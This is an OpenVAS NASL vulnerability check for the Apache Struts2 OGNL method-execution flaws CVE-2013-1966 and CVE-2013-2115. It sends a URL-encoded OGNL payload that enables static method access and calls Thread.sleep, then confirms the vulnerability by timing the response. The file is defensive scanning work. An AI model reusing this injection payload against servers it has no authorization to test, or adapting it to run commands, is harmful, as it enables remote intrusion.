This host is running Apache Struts2 and
is prone to arbitrary java method execution vulnerabilities.
###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_apache_struts2_java_method_exec_vuln.nasl 8373 2018-01-11 10:29:41Z cfischer $
#
# Apache Struts2 'URL' & 'Anchor' tags Arbitrary Java Method Execution Vulnerabilities
#
# Authors:
# Thanga Prakash S <[email protected]>
#
# Copyright:
# Copyright (c) 2013 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################
CPE = "cpe:/a:apache:struts";
if(description)
{
script_id(803837);
script_version("$Revision: 8373 $");
script_cve_id("CVE-2013-1966", "CVE-2013-2115");
script_bugtraq_id(60166, 60167);
script_tag(name:"cvss_base", value:"9.3");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:C/I:C/A:C");
script_tag(name:"last_modification", value:"$Date: 2018-01-11 11:29:41 +0100 (Thu, 11 Jan 2018) $");
script_tag(name:"creation_date", value:"2013-07-23 17:54:59 +0530 (Tue, 23 Jul 2013)");
script_tag(name:"qod_type", value:"remote_analysis");
script_name("Apache Struts2 'URL' & 'Anchor' tags Arbitrary Java Method Execution Vulnerabilities");
script_tag(name: "summary" , value:"This host is running Apache Struts2 and
is prone to arbitrary java method execution vulnerabilities.");
script_tag(name: "vuldetect" , value:"Send a crafted data like system functions
via HTTP POST request and check whether it is executing the java function or not.");
script_tag(name: "insight" , value:"Flaw is due to improper handling of the
includeParams attribute in the URL and Anchor tags");
script_tag(name: "impact" , value:"Successful exploitation will allow remote attackers
to execute arbitrary commands via specially crafted OGNL (Object-Graph Navigation Language)
expressions.
Impact Level: Application");
script_tag(name: "affected" , value:"Apache Struts 2 before 2.3.14.2");
script_tag(name: "solution" , value:"Upgrade to Apache Struts 2 version 2.3.14.2 or later,
For updates refer to http://struts.apache.org");
script_tag(name:"solution_type", value:"VendorFix");
script_xref(name : "URL" , value : "http://secunia.com/advisories/53553");
script_xref(name : "URL" , value : "http://www.exploit-db.com/exploits/25980");
script_xref(name : "URL" , value : "https://cwiki.apache.org/confluence/display/WW/S2-013");
script_xref(name : "URL" , value : "http://struts.apache.org/development/2.x/docs/s2-014.html");
script_xref(name : "URL" , value : "http://metasploit.org/modules/exploit/multi/http/struts_include_params");
script_category(ACT_ATTACK);
script_copyright("Copyright (c) 2013 Greenbone Networks GmbH");
script_dependencies("gb_apache_struts2_detection.nasl");
script_mandatory_keys("ApacheStruts/installed");
script_family("Web application abuses");
script_require_ports("Services/www", 8080);
exit(0);
}
include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");
## Variable Initialization
asport = 0;
asreq = "";
asres = "";
asRes = "";
asReq = "";
dir = "";
url = "";
if(!asport = get_app_port(cpe:CPE)){
exit(0);
}
if(!dir = get_app_location(cpe:CPE, port:asport)){
exit(0);
}
host = http_host_name(port:asport);
## Send and Receive the response
asreq = http_get(item:string(dir,"/example/HelloWorld.action"), port:asport);
asres = http_keepalive_send_recv(port:asport, data:asreq);
## Confirm the application
if(asres && ">Struts" >< asres && ">English<" >< asres)
{
sleep = make_list(3, 5);
foreach i (sleep)
{
## Construct the POST data
postdata = "fgoa=%24%7b%23%5fmemberAccess%5b%22allow"+
"StaticMethodAccess%22%5d%3dtrue%2c%40jav"+
"a.lang.Thread%40sleep%28"+ i +"000%29%7d";
## Construct the POST request
asReq = string("POST /struts2-blank/example/HelloWorld.action HTTP/1.1\r\n",
"Host: ", host, "\r\n",
"User-Agent: ", OPENVAS_HTTP_USER_AGENT, "\r\n",
"Content-Type: application/x-www-form-urlencoded\r\n",
"Content-Length: ", strlen(postdata), "\r\n",
"\r\n", postdata);
start = unixtime();
asRes = http_send_recv(port:asport, data:asReq);
stop = unixtime();
if(stop - start < i || stop - start > (i+5)) exit(0); # not vulnerable
}
security_message(port:asport);
exit(0);
}